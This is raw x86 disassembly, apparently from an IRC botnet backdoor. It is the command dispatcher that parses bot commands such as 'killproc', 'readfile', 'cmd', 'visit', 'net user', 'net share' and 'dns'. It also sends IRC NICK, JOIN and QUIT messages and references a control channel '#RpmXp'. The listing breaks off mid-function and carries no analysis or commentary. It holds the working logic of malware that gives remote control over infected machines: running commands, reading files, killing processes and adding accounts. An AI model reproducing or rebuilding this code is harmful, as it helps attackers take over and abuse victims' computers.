"c_rndnick" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405EBF push edi push offset aC_rn ; "c_rn" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405EBF push edi push offset aPrefix ; "prefix" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405EA3 push edi push offset aPr ; "pr" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405EA3 push edi push offset aOpen ; "open" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405E72 push edi push offset aO ; "o" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405E72 push edi push offset aServer ; "server" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405E46 push edi push offset aSe ; "se" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405E46 push edi push offset aDns ; "dns" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405DD7 push edi push offset aDn ; "dn" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405DD7 push edi push offset aKillproc ; "killproc" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405DA4 push edi push offset aKp ; "kp" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405DA4 push edi push offset aKill ; "kill" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405D75 push edi push offset aKi ; "ki" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405D75 push edi push offset aDelete ; "delete" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405D37 push edi push offset aDel ; "del" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405D37 push edi push offset dword_4391F0 call sub_417870 pop ecx test eax, eax pop ecx jz loc_405C50 push edi push offset dword_4391F4 call sub_417870 pop ecx test eax, eax pop ecx jz loc_405C50 push edi push offset aList ; "list" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405C2E push edi push offset aLi ; "li" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405C2E push edi push offset aMirccmd ; "mirccmd" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405BED push edi push offset aMirc ; "mirc" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405BED push edi push offset aVisit ; "visit" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405B08 push edi push offset aV ; "v" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405B08 push edi push offset aCmd ; "cmd" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405AA9 push edi push offset aCm ; "cm" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405AA9 push edi push offset aReadfile ; "readfile" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405A18 push edi push offset aRf ; "rf" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405A18 push edi push offset aIdent ; "ident" call sub_417870 pop ecx test eax, eax pop ecx jnz loc_4055DD mov esi, [ebp+esi+var_8C] push esi push offset aOn ; "on" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_405597 push 2 call sub_40909B test eax, eax pop ecx jle short loc_40553A push offset dword_4393E8 jmp loc_4055CA ; --------------------------------------------------------------------------- loc_40553A: ; CODE XREF: sub_403038+24F6j lea eax, [ebp+var_2E4] push offset dword_439408 push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push 2 push eax call sub_408E53 add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_40EA18 push ebx push ebx call near ptr 26A08FFh nop imul esi, 234h cmp eax, ebx mov dword_446224[esi], eax jnz loc_4072D4 nop call near ptr 26908EFh push eax push offset dword_439434 jmp loc_4072C5 ; --------------------------------------------------------------------------- loc_405597: ; CODE XREF: sub_403038+24EAj push esi push offset aOff ; "off" call sub_417870 pop ecx test eax, eax pop ecx jnz loc_4072D4 push ebx push 2 call sub_40904E pop ecx cmp eax, ebx pop ecx jle short loc_4055C5 push eax push offset dword_43946C jmp loc_4072C5 ; --------------------------------------------------------------------------- loc_4055C5: ; CODE XREF: sub_403038+2580j push offset dword_4394A4 loc_4055CA: ; CODE XREF: sub_403038+24FDj ; sub_403038+34A2j lea eax, [ebp+var_2E4] push eax call sub_4171D0 pop ecx pop ecx jmp loc_4072D4 ; --------------------------------------------------------------------------- loc_4055DD: ; CODE XREF: sub_403038+24CEj push edi push offset aNet ; "net" call sub_417870 pop ecx test eax, eax pop ecx jnz loc_405907 cmp dword_445418, ebx jz short loc_40560C cmp dword_445440, ebx jz short loc_40560C push offset unk_439640 jmp loc_4058C1 ; --------------------------------------------------------------------------- loc_40560C: ; CODE XREF: sub_403038+25C0j ; sub_403038+25C8j cmp [ebp+var_C], ebx jz loc_4058CF mov edi, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp edi, ebx jz short loc_405631 push edi push [ebp+var_C] call sub_417B50 pop ecx mov [ebp+arg_0], eax pop ecx loc_405631: ; CODE XREF: sub_403038+25E9j mov eax, [ebp+esi+var_8C] push eax push offset aStart ; "start" mov [ebp+arg_10], eax call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_4056A0 cmp edi, ebx jz short loc_405674 push [ebp+arg_0] push 3 call sub_41243B push eax push offset aS_2 ; "%s" loc_405660: ; CODE XREF: sub_403038+268Bj ; sub_403038+26B0j ... lea eax, [ebp+var_2E4] push eax call sub_4171D0 add esp, 14h jmp loc_4058CF ; --------------------------------------------------------------------------- loc_405674: ; CODE XREF: sub_403038+2616j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4126E2 add esp, 0Ch test eax, eax jz short loc_405696 push offset unk_4394D4 jmp loc_4058C1 ; --------------------------------------------------------------------------- loc_405696: ; CODE XREF: sub_403038+2652j push offset unk_4394F8 jmp loc_4058C1 ; --------------------------------------------------------------------------- loc_4056A0: ; CODE XREF: sub_403038+2612j push [ebp+arg_10] push offset aStop ; "stop" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_4056C5 push [ebp+arg_0] push 4 call sub_41243B push eax push offset aS_3 ; "%s" jmp short loc_405660 ; --------------------------------------------------------------------------- loc_4056C5: ; CODE XREF: sub_403038+2679j push [ebp+arg_10] push offset aPause ; "pause" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_4056ED push [ebp+arg_0] push 5 call sub_41243B push eax push offset aS_4 ; "%s" jmp loc_405660 ; --------------------------------------------------------------------------- loc_4056ED: ; CODE XREF: sub_403038+269Ej push [ebp+arg_10] push offset aContinue ; "continue" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_405715 push [ebp+arg_0] push 6 call sub_41243B push eax push offset aS_5 ; "%s" jmp loc_405660 ; --------------------------------------------------------------------------- loc_405715: ; CODE XREF: sub_403038+26C6j push [ebp+arg_10] push offset aDelete_0 ; "delete" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_40573D push [ebp+arg_0] push 1 call sub_41243B push eax push offset aS_6 ; "%s" jmp loc_405660 ; --------------------------------------------------------------------------- loc_40573D: ; CODE XREF: sub_403038+26EEj push [ebp+arg_10] push offset aShare ; "share" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_4057C2 cmp edi, ebx jz short loc_405795 cmp [ebp+var_998], bl jz short loc_40576D push ebx push edi push 1 call sub_41281F push eax push offset aS_7 ; "%s" jmp short loc_405781 ; --------------------------------------------------------------------------- loc_40576D: ; CODE XREF: sub_403038+2722j push [ebp+esi+var_84] push edi push ebx call sub_41281F push eax push offset aS_8 ; "%s" loc_405781: ; CODE XREF: sub_403038+2733j lea eax, [ebp+var_2E4] push eax call sub_4171D0 add esp, 18h jmp loc_4058CF ; --------------------------------------------------------------------------- loc_405795: ; CODE XREF: sub_403038+271Aj push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_412A14 add esp, 10h test eax, eax jz short loc_4057B8 push offset unk_43955C jmp loc_4058C1 ; --------------------------------------------------------------------------- loc_4057B8: ; CODE XREF: sub_403038+2774j push offset unk_439580 jmp loc_4058C1 ; --------------------------------------------------------------------------- loc_4057C2: ; CODE XREF: sub_403038+2716j push [ebp+arg_10] push offset aUser ; "user" call sub_417870 pop ecx test eax, eax pop ecx jnz loc_405873 cmp edi, ebx jz short loc_40584C cmp [ebp+var_998], bl jz short loc_405802 push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push edi push 1 call sub_412B35 push eax push offset aS_9 ; "%s" jmp short loc_405838 ; --------------------------------------------------------------------------- loc_405802: ; CODE XREF: sub_403038+27ABj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_405829 push esi push edi push ebx call sub_412B35 push eax push offset aS_10 ; "%s" jmp short loc_405838 ; --------------------------------------------------------------------------- loc_405829: ; CODE XREF: sub_403038+27DFj push ebx push edi push 2 call sub_412B35 push eax push offset aS_11 ; "%s" loc_405838: ; CODE XREF: sub_403038+27C8j ; sub_403038+27EFj lea eax, [ebp+var_2E4] push eax call sub_4171D0 add esp, 24h jmp loc_4058CF ; --------------------------------------------------------------------------- loc_40584C: ; CODE XREF: sub_403038+27A3j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_413049 add esp, 10h test eax, eax jz short loc_40586C push offset unk_4395B4 jmp short loc_4058C1 ; --------------------------------------------------------------------------- loc_40586C: ; CODE XREF: sub_403038+282Bj push offset unk_4395D4 jmp short loc_4058C1 ; --------------------------------------------------------------------------- loc_405873: ; CODE XREF: sub_403038+279Bj push [ebp+arg_10] push offset aSend_2 ; "send" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_4058BC cmp edi, ebx jz short loc_4058B5 push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_4132FD push eax lea eax, [ebp+var_2E4] push offset aS_12 ; "%s" push eax call sub_4171D0 add esp, 1Ch jmp short loc_4058CF ; --------------------------------------------------------------------------- loc_4058B5: ; CODE XREF: sub_403038+2850j push offset unk_439600 jmp short loc_4058C1 ; --------------------------------------------------------------------------- loc_4058BC: ; CODE XREF: sub_403038+284Cj push offset unk_439624 loc_4058C1: ; CODE XREF: sub_403038+25CFj ; sub_403038+2659j ... lea eax, [ebp+var_2E4] push eax call sub_4171D0 pop ecx pop ecx loc_4058CF: ; CODE XREF: sub_403038+25D7j ; sub_403038+2637j ... cmp [ebp+var_8], ebx jnz short loc_4058F0 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_401445 add esp, 14h loc_4058F0: ; CODE XREF: sub_403038+289Aj ; sub_403038+2A61j ... mov esi, [ebp+arg_24] loc_4058F3: ; CODE XREF: sub_403038+91Ej lea eax, [ebp+var_2E4] push eax call sub_410557 pop ecx mov eax, esi jmp loc_4034D7 ; --------------------------------------------------------------------------- loc_405907: ; CODE XREF: sub_403038+25B4j push edi push offset aGethost ; "gethost" call sub_417870 pop ecx test eax, eax pop ecx jz short loc_40592D push edi push offset aGh ; "gh" call sub_417870 pop ecx test eax, eax pop ecx jnz loc_404928 loc_40592D: ; CODE XREF: sub_403038+28DEj mov edi, [ebp+esi+var_8C] push edi push [ebp+arg_1C] call sub_417B50 pop ecx test eax, eax pop ecx jz loc_40858F mov esi, [ebp+esi+var_88] cmp esi, ebx jz short loc_4059D1 push esi push [ebp+var_C] call sub_417B50 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4059B9 push esi lea eax, [ebp+var_2E4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset aSSSS ; "%s %s %s :%s" push eax call sub_4171D0 lea eax, [ebp+var_2E4] push 1FFh push eax push [ebp+arg_0] call sub_417770 push esi push edi lea eax, [ebp+var_2E4] push offset unk_439694 push eax call sub_4171D0 add esp, 34h inc [ebp+arg_24] jmp loc_404E30 ; --------------------------------------------------------------------------- loc_4059B9: ; CODE XREF: sub_403038+2929j lea eax, [ebp+var_2E4] push offset unk_4396BC push eax call sub_4171D0 pop ecx pop ecx jmp loc_404E30 ; --------------------------------------------------------------------------- loc_4059D1: ; CODE XREF: sub_403038+2918j push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_4143DD add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_401445 push edi push offset dword_4396EC lea eax, [ebp+var_2E4] push 200h push eax call sub_4172D0 add esp, 24h jmp loc_404E30 ; --------------------------------------------------------------------------- loc_405A18: ; CODE XREF: sub_403038+24A4j ; sub_403038+24B9j mov edi, [ebp+esi+var_8C] push offset aR_0 ; "r" push edi mov [ebp+arg_10], edi call sub_417050 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_405A9E mov edi, 200h push esi lea eax, [ebp+var_2E4] push edi push eax call sub_418340 add esp, 0Ch loc_405A4B: ; CODE XREF: sub_403038+2A42j test eax, eax jz short loc_405A7C push 1 lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_401445 push esi lea eax, [ebp+var_2E4] push edi push eax call sub_418340 add esp, 20h jmp short loc_405A4B ; --------------------------------------------------------------------------- loc_405A7C: ; CODE XREF: sub_403038+2A15j push esi call sub_414C60 push [ebp+arg_10] lea eax, [ebp+var_2E4] push offset unk_439394 push eax call sub_4171D0 add esp, 10h jmp loc_4058F0 ; --------------------------------------------------------------------------- loc_405A9E: ; CODE XREF: sub_403038+29FBj push edi push offset unk_4393B8 jmp loc_407220 ; --------------------------------------------------------------------------- loc_405AA9: ; CODE XREF: sub_403038+247Aj ; sub_403038+248Fj cmp [ebp+var_C], ebx jz loc_40858F push [ebp+esi+var_8C] push [ebp+var_C] call sub_417B50 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40858F push offset asc_439338 ; "\n" push esi call sub_4184D0 push esi call sub_4137CE add esp, 0Ch test eax, eax jnz short loc_405AFD push offset unk_43933C loc_405AEA: ; CODE XREF: sub_403038+2BE7j ; sub_403038+2BF1j ... lea eax, [ebp+var_2E4] push eax call sub_4171D0 pop ecx pop ecx jmp loc_404E0F ; --------------------------------------------------------------------------- loc_405AFD: ; CODE XREF: sub_403038+2AABj push esi push offset dword_439368 jmp loc_406E36 ; --------------------------------------------------------------------------- loc_405B08: ; CODE XREF: sub_403038+2450j ; sub_403038+2465j mov edi, [ebp+esi+var_8C] push 7Fh lea eax, [ebp+var_6DC] push edi push eax call sub_417770 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_405B3E push 7Fh lea eax, [ebp+var_65C] push esi push eax call sub_417770 add esp, 0Ch loc_405B3E: ; CODE XREF: sub_403038+2AF2j push 7Fh lea eax, [ebp+var_5DC] push [ebp+var_88] push eax call sub_417770 mov eax, [ebp+arg_4] push edi mov [ebp+var_6E0], eax mov eax, [ebp+var_8] mov [ebp+var_558], eax mov eax, [ebp+var_4] mov [ebp+var_554], eax lea eax, [ebp+var_2E4] push offset dword_4392D8 push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push 1Ch push eax call sub_408E53 add esp, 24h mov [ebp+var_55C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6E0] push ebx push eax push offset loc_4149B3 push ebx push ebx nop call near ptr 26A08FFh mov ecx, [ebp+var_55C] imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz short loc_405BDC loc_405BC6: ; CODE XREF: sub_403038+2BA2j cmp [ebp+var_550], ebx jnz loc_404E30 push 32h nop call near ptr 2690599h jmp short loc_405BC6 ; --------------------------------------------------------------------------- loc_405BDC: ; CODE XREF: sub_403038+2B8Cj call near ptr 26908EFh nop push eax push offset unk_4392F0 jmp loc_406E36 ; --------------------------------------------------------------------------- loc_405BED: ; CODE XREF: sub_403038+2426j ; sub_403038+243Bj cmp [ebp+var_C], ebx jz loc_40858F push [ebp+esi+var_8C] push [ebp+var_C] call sub_417B50 pop ecx cmp eax, ebx pop ecx jz loc_40858F push eax call sub_411DDA test eax, eax pop ecx jnz short loc_405C24 push offset unk_439290 jmp loc_405AEA ; --------------------------------------------------------------------------- loc_405C24: ; CODE XREF: sub_403038+2BE0j push offset dword_4392B0 jmp loc_405AEA ; --------------------------------------------------------------------------- loc_405C2E: ; CODE XREF: sub_403038+23FCj ; sub_403038+2411j mov esi, [ebp+esi+var_8C] push ebx push [ebp+var_88] push [ebp+arg_4] push esi call sub_40E18A push esi push offset dword_439268 jmp loc_408249 ; --------------------------------------------------------------------------- loc_405C50: ; CODE XREF: sub_403038+23D2j ; sub_403038+23E7j push 14h lea eax, [ebp+var_6F8] push ebx push eax call sub_417070 push [ebp+esi+var_8C] lea eax, [ebp+var_6E4] push offset dword_4391F8 push eax call sub_4171D0 mov eax, [ebp+arg_4] mov [ebp+var_700], eax lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_5E0] push 80h push eax call sub_4172D0 mov eax, [ebp+var_4] mov [ebp+var_558], eax mov eax, [ebp+var_8] mov [ebp+var_554], eax lea eax, [ebp+var_5E0] push eax lea eax, [ebp+var_6E4] push eax lea eax, [ebp+var_2E4] push offset unk_4391FC push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push 1Ah push eax call sub_408E53 add esp, 40h mov [ebp+var_55C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_700] push ebx push eax push offset loc_410A7D push ebx push ebx nop call near ptr 26A08FFh mov ecx, [ebp+var_55C] imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz short loc_405D26 loc_405D10: ; CODE XREF: sub_403038+2CECj cmp [ebp+var_550], ebx jnz loc_40514A push 32h nop call near ptr 2690599h jmp short loc_405D10 ; --------------------------------------------------------------------------- loc_405D26: ; CODE XREF: sub_403038+2CD6j call near ptr 26908EFh nop push eax push offset unk_439220 jmp loc_406B80 ; --------------------------------------------------------------------------- loc_405D37: ; CODE XREF: sub_403038+23A8j ; sub_403038+23BDj mov esi, [ebp+esi+var_8C] push esi call near ptr 26A0AF2h nop test eax, eax jz short loc_405D68 push esi push offset dword_4391C8 loc_405D4F: ; CODE XREF: sub_403038+2D3Bj lea eax, [ebp+var_2E4] push 200h push eax call sub_4172D0 add esp, 10h jmp loc_4058CF ; --------------------------------------------------------------------------- loc_405D68: ; CODE XREF: sub_403038+2D0Fj push offset dword_4391E4 call sub_411D15 push eax jmp short loc_405D4F ; --------------------------------------------------------------------------- loc_405D75: ; CODE XREF: sub_403038+237Ej ; sub_403038+2393j mov esi, [ebp+esi+var_8C] push esi call sub_4174D0 push eax call sub_413747 pop ecx cmp eax, 1 pop ecx push esi jnz short loc_405D9A push offset unk_439168 jmp loc_4072C5 ; --------------------------------------------------------------------------- loc_405D9A: ; CODE XREF: sub_403038+2D56j push offset unk_43918C jmp loc_4072C5 ; --------------------------------------------------------------------------- loc_405DA4: ; CODE XREF: sub_403038+2354j ; sub_403038+2369j mov esi, [ebp+esi+var_8C] push ebx push ebx push esi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_413426 add esp, 18h cmp eax, 1 push esi jnz short loc_405DCD push offset unk_43910C jmp loc_407220 ; --------------------------------------------------------------------------- loc_405DCD: ; CODE XREF: sub_403038+2D89j push offset unk_43912C jmp loc_407220 ; --------------------------------------------------------------------------- loc_405DD7: ; CODE XREF: sub_403038+232Aj ; sub_403038+233Fj mov esi, [ebp+esi+var_8C] push esi call dword_445388 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_405E1B push 2 lea eax, [ebp+arg_0] push 4 push eax call dword_445300 cmp eax, ebx jz short loc_405E3C push dword ptr [eax] push esi push offset unk_439094 loc_405E07: ; CODE XREF: sub_403038+2E02j lea eax, [ebp+var_2E4] push eax call sub_4171D0 add esp, 10h jmp loc_404E0F ; --------------------------------------------------------------------------- loc_405E1B: ; CODE XREF: sub_403038+2DB3j push esi call dword_4453CC cmp eax, ebx jz short loc_405E3C mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4453D4 push eax push esi push offset unk_4390B4 jmp short loc_405E07 ; --------------------------------------------------------------------------- loc_405E3C: ; CODE XREF: sub_403038+2DC5j ; sub_403038+2DECj push offset unk_4390D4 jmp loc_405AEA ; --------------------------------------------------------------------------- loc_405E46: ; CODE XREF: sub_403038+2300j ; sub_403038+2315j mov esi, [ebp+esi+var_8C] push 7Fh push esi push [ebp+arg_14] call sub_417770 push esi lea eax, [ebp+var_2E4] push offset unk_439064 push eax call sub_4171D0 add esp, 18h jmp loc_4072D4 ; --------------------------------------------------------------------------- loc_405E72: ; CODE XREF: sub_403038+22D6j ; sub_403038+22EBj mov esi, [ebp+esi+var_8C] push 5 push ebx push ebx push esi push offset aOpen_0 ; "open" push ebx call dword_4452B4 test eax, eax push esi jz short loc_405E99 push offset unk_439014 jmp loc_407220 ; --------------------------------------------------------------------------- loc_405E99: ; CODE XREF: sub_403038+2E55j push offset unk_439034 jmp loc_407220 ; --------------------------------------------------------------------------- loc_405EA3: ; CODE XREF: sub_403038+22ACj ; sub_403038+22C1j mov esi, [ebp+esi+var_8C] mov al, [esi] mov byte_436C28, al movsx eax, byte ptr [esi] push eax push offset unk_438FD8 jmp loc_4072C5 ; --------------------------------------------------------------------------- loc_405EBF: ; CODE XREF: sub_403038+2282j ; sub_403038+2297j mov esi, [ebp+esi+var_8C] push esi call sub_4174D0 test eax, eax pop ecx jle loc_40858F push esi call sub_4174D0 cmp eax, 400h pop ecx jge loc_40858F push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_408B4C push eax lea eax, [ebp+var_2E4] push offset aNickS ; "NICK %s" push eax call sub_4171D0 add esp, 1Ch lea eax, [ebp+var_2E4] push eax push offset aS_13 ; "%s\r\n" jmp loc_40816B ; --------------------------------------------------------------------------- loc_405F1D: ; CODE XREF: sub_403038+2258j ; sub_403038+226Dj mov esi, [ebp+esi+var_8C] push esi call sub_4174D0 test eax, eax pop ecx jle loc_4034D4 push esi call sub_4174D0 cmp eax, 400h pop ecx jge loc_4034D4 push offset aQuitLater ; "QUIT :later\r\n" push esi call sub_4174D0 imul eax, 234h pop ecx push dword_44621C[eax] call sub_4013FF pop ecx pop ecx push 1F4h nop call near ptr 2690599h push esi call sub_4174D0 imul eax, 234h pop ecx push dword_44621C[eax] call dword_4453E0 push [ebp+var_10] push esi call sub_4174D0 imul eax, 234h pop ecx push dword_446224[eax] nop call near ptr 26D0BAFh push esi call sub_4174D0 imul eax, 234h push esi mov dword_446224[eax], ebx call sub_4174D0 imul eax, 234h pop ecx pop ecx mov byte ptr dword_446010[eax], bl jmp loc_4034D4 ; --------------------------------------------------------------------------- loc_405FCF: ; CODE XREF: sub_403038+222Ej ; sub_403038+2243j push [ebp+esi+var_8C] push offset aAll ; "all" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_406004 call sub_40901C cmp eax, ebx jle short loc_405FFA push eax push offset unk_438EEC jmp loc_40511A ; --------------------------------------------------------------------------- loc_405FFA: ; CODE XREF: sub_403038+2FB5j push offset unk_438F14 jmp loc_407679 ; --------------------------------------------------------------------------- loc_406004: ; CODE XREF: sub_403038+2FACj mov eax, [ebp+var_A8] lea edi, [eax+1] cmp edi, 20h jnb loc_4034D4 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_406020: ; CODE XREF: sub_403038+3059j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_4034D4 push esi call sub_4174D0 push eax call sub_408F8E pop ecx pop ecx test eax, eax push esi jz short loc_406047 push offset unk_438F3C jmp short loc_40604C ; --------------------------------------------------------------------------- loc_406047: ; CODE XREF: sub_403038+3006j push offset unk_438F60 loc_40604C: ; CODE XREF: sub_403038+300Dj lea eax, [ebp+var_2E4] push eax call sub_4171D0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40607C push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_401445 add esp, 14h loc_40607C: ; CODE XREF: sub_403038+3026j lea eax, [ebp+var_2E4] push eax call sub_410557 add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_406020 jmp loc_4034D4 ; --------------------------------------------------------------------------- loc_406098: ; CODE XREF: sub_403038+2204j ; sub_403038+2219j cmp [ebp+var_C], ebx jz loc_40858F push [ebp+esi+var_8C] push [ebp+var_C] call sub_417B50 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40858F push esi push offset aS_28 ; "%s\r\n" push [ebp+arg_4] call sub_4013FF push esi push offset dword_438EBC jmp loc_408389 ; --------------------------------------------------------------------------- loc_4060D5: ; CODE XREF: sub_403038+21DAj ; sub_403038+21EFj mov esi, [ebp+esi+var_8C] push esi push offset aPartS ; "PART %s\r\n" push [ebp+arg_4] call sub_4013FF push esi push offset unk_438E88 jmp loc_408389 ; --------------------------------------------------------------------------- loc_4060F5: ; CODE XREF: sub_403038+21B0j ; sub_403038+21C5j push [ebp+esi+var_88] mov edi, [ebp+esi+var_8C] push edi push offset aJoinSS_1 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_4013FF push edi push offset unk_438E4C jmp loc_408249 ; --------------------------------------------------------------------------- loc_40611C: ; CODE XREF: sub_403038+2186j ; sub_403038+219Bj mov esi, [ebp+esi+var_8C] push esi push offset aNickS_0 ; "NICK %s\r\n" push [ebp+arg_4] call sub_4013FF push esi push offset unk_438E0C jmp loc_408389 ; --------------------------------------------------------------------------- loc_40613C: ; CODE XREF: sub_403038+215Cj ; sub_403038+2171j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_4013FF mov esi, [ebp+esi+var_8C] lea eax, [ebp+var_2E4] push esi push offset unk_438DD0 push eax call sub_4171D0 lea eax, [ebp+var_2E4] push eax call sub_410557 push esi call sub_4174D0 add esp, 1Ch loc_406177: ; CODE XREF: sub_403038+318Ej push eax nop call near ptr 2690599h loc_40617E: ; CODE XREF: sub_403038+3F0Bj xor eax, eax jmp loc_4034D7 ; --------------------------------------------------------------------------- loc_406185: ; CODE XREF: sub_403038+2132j ; sub_403038+2147j push offset aQuitReconnec_0 ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_4013FF mov esi, [ebp+esi+var_8C] lea eax, [ebp+var_2E4] push esi push offset unk_438D78 push eax call sub_4171D0 lea eax, [ebp+var_2E4] push eax call sub_410557 push esi call sub_4174D0 add esp, 1Ch imul eax, 3E8h jmp short loc_406177 ; --------------------------------------------------------------------------- loc_4061C8: ; CODE XREF: sub_403038+1FA5j ; sub_403038+1FBAj mov al, byte_43E15A mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_43E15A jz loc_4034D4 mov ecx, edx loc_4061DF: ; CODE XREF: sub_403038+31AFj inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4061DF cmp al, bl jz loc_4034D4 mov [ebp+arg_18], edx loc_4061F4: ; CODE XREF: sub_403038+347Cj push 0Bh call sub_40909B pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 1F4h jle short loc_406243 push ecx lea eax, [ebp+var_2E4] push offset unk_438B70 push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_401445 add esp, 20h jmp loc_4064AB ; --------------------------------------------------------------------------- loc_406243: ; CODE XREF: sub_403038+31D6j or [ebp+var_400], 0FFFFFFFFh cmp dword_43DE38, ebx mov [ebp+var_404], 64h mov [ebp+var_418], 5 mov [ebp+var_414], 320h mov [ebp+arg_0], ebx jz short loc_4062B4 mov eax, [ebp+arg_18] mov esi, offset dword_43DE38 lea edi, [eax-0Ah] loc_40627E: ; CODE XREF: sub_403038+325Ej lea eax, [esi-28h] push edi push eax call sub_417870 pop ecx test eax, eax pop ecx jz short loc_40629A inc [ebp+arg_0] add esi, 40h cmp [esi], ebx jnz short loc_40627E jmp short loc_4062B4 ; --------------------------------------------------------------------------- loc_40629A: ; CODE XREF: sub_403038+3254j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_400], eax shl ecx, 6 mov ecx, dword_43DE38[ecx] mov [ebp+var_41C], ecx loc_4062B4: ; CODE XREF: sub_403038+3239j ; sub_403038+3260j cmp [ebp+var_41C], ebx jz loc_4064BF push 10h lea eax, [ebp+arg_10] pop esi push eax lea eax, [ebp+var_D8] push eax mov [ebp+arg_10], esi push [ebp+arg_4] call dword_4452EC mov al, [ebp+var_99B] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_D4], eax push [ebp+var_D4] call dword_4453D4 push eax lea eax, [ebp+var_530] push eax call sub_417770 xor eax, eax cmp [ebp+var_99B], bl push 30h setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_530] push eax call sub_418310 add esp, 14h cmp esi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_406356 loc_406334: ; CODE XREF: sub_403038+331Cj cmp eax, ebx jz short loc_406356 mov byte ptr [eax], 78h lea eax, [ebp+var_530] push 30h push eax call sub_418310 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, esi jl short loc_406334 loc_406356: ; CODE XREF: sub_403038+32FAj ; sub_403038+32FEj mov eax, [ebp+arg_4] push [ebp+var_88] mov esi, [ebp+var_4] mov edi, [ebp+var_8] mov [ebp+var_420], eax lea eax, [ebp+var_520] push 80h push eax mov [ebp+var_3F0], 1 mov [ebp+var_3F8], esi mov [ebp+var_3F4], edi call sub_4172D0 push offset dword_4D319C push offset aRpmxp_0 ; "#RpmXp" call sub_417870 add esp, 14h test eax, eax jz short loc_4063C3 push offset aRpmxp_0 ; "#RpmXp" lea eax, [ebp+var_4A0] push 80h push eax call sub_4172D0 add esp, 0Ch jmp short loc_4063C9 ; --------------------------------------------------------------------------- loc_4063C3: ; CODE XREF: 